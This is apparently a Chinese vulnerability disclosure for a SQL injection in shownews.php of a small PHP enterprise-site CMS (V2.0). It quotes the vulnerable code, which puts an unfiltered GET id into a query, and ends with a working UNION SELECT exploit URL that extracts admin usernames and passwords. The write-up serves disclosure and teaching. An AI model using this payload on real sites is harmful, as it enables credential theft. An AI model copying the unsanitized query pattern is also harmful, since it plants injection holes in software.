【php】随缘php企业网站管理系统V2.0 shownews.php注入漏洞

时间:2023-03-09 08:17:16
【php】随缘php企业网站管理系统V2.0 shownews.php注入漏洞

程序名称:随缘网络php企业网站管理系统2.0免费版

以下为系统的功能简介:

1、采用div+css布局经测试兼容IE及firefox主流浏览器,其他浏览器暂未测试。

2、产品新闻三级无限分类。

3、后台可设置诸如管理员帐号密码,网站标题,网站底部版权等信息。

4、后台采用最新版xhEditor编辑器,xhEditor是一个基于jQuery开发的跨平台开源迷你XHTML编辑器组件。

5、后台图片栏目可以对相关的幻灯,友情链接,logo,banner等进行修改设置。

5、后台可批量删除产品新闻。

漏洞文件 shownews.php,以下是程序部分代码:

<?php
include_once("wzdy.php");
if(isset($_GET['id'])) //检测id变量是否设置
{
$id=$_GET["id"];
}
else{
echo "<script language='javascript'>";
echo "alert('请输入正确ID!');";
echo " location='index.php';";
echo "</script>";
exit;
}
$sql4="select * from news where id=$id"; //未经过滤将id变量直接带入sql查询语句中,输出到$sql4变量中
$result4=mysql_query($sql4); //将$sql4变量赋值到$result4变量中
if($nums=mysql_num_rows($result4)) //返回$result4变量结果,意味着$title变量,$content变量会显示出我们构造的恶意注入语句结果
{
$rs4=mysql_fetch_array($result4);
$title=$rs4["title"];
$content=$rs4["content"];
$hits=$rs4["hits"];
$fbsj=date("Y-m-d",strtotime($rs4['fbsj']));
$sql="update news set hits=hits+1 where id=$id";
mysql_query($sql);
}
else
{
echo "<script language='javascript'>";
echo "alert('请输入正确ID!');";
echo " location='index.php';";
echo "</script>";
exit;
}
?>

漏洞exp:

http://192.168.1.5/websitetempeltest/qywphp2/shownews.php?id=5 and 1=2 UNION SELECT 1,2,unhex(hex(concat(0x5e5e5e,username,0x7c,password,0x5e5e5e))),4,5,6,7 from gly